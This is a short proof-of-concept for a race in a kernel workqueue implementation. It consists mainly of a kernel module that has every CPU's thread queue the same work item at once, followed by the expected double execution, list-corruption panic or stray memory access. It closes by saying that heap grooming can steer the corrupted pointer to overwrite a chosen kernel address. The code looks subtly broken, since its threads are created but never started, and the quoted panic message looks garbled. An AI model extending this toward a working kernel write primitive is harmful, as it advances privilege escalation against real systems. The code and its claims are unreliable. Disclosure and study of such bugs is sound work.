# DF-1979 PoC — queue_work cross-CPU race on bound multi-CPU workqueues

## Kernel module demonstrating STAILQ corruption

```c
/* wqrace.c -- Build & run: kldload ./wqrace.ko */
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/thread.h>
#include <drm/drmP.h>
#include <linux/workqueue.h>
static struct workqueue_struct *race_wq;
static struct work_struct race_work;
static volatile int start_race;
static void race_cb(struct work_struct *work) {
    kprintf("race_cb executed on cpu %d\n", mycpuid);
}
static void racer(void *arg) {
    while (!start_race) lwkt_yield();
    queue_work(race_wq, &race_work);  /* all racers queue the SAME work */
    lwkt_exit();
}
static int race_load(struct module *m, int cmd, void *arg) {
    if (cmd != MOD_LOAD) return 0;
    race_wq = alloc_workqueue("race", 0, 0);  /* bound: num_workers = ncpus */
    INIT_WORK(&race_work, race_cb);
    for (int i = 0; i < ncpus; i++)
        lwkt_create(racer, NULL, NULL, NULL, TDF_NOSTART, i, "racer/%d", i);
    start_race = 1;
    tsleep(&race_load, 0, "race", hz * 5);
    return 0;
}
DEV_MODULE(wqrace, race_load, NULL);
```

## Expected output

On a multi-CPU system:
- Double-execution of race_cb from different CPUs, OR
- Kernel panic from STAILQ list corruption ("panic: fstq_soable:
  remove-after-free" or similar), OR
- Arbitrary memory access when worker iterates its list past the
  doubly-inserted work and follows ws_entries.stqe_next into the other
  worker's list.

With heap grooming (additional same-size works on the queues), the corrupted
stqh_last tail pointer can be steered to overwrite a controlled kernel address.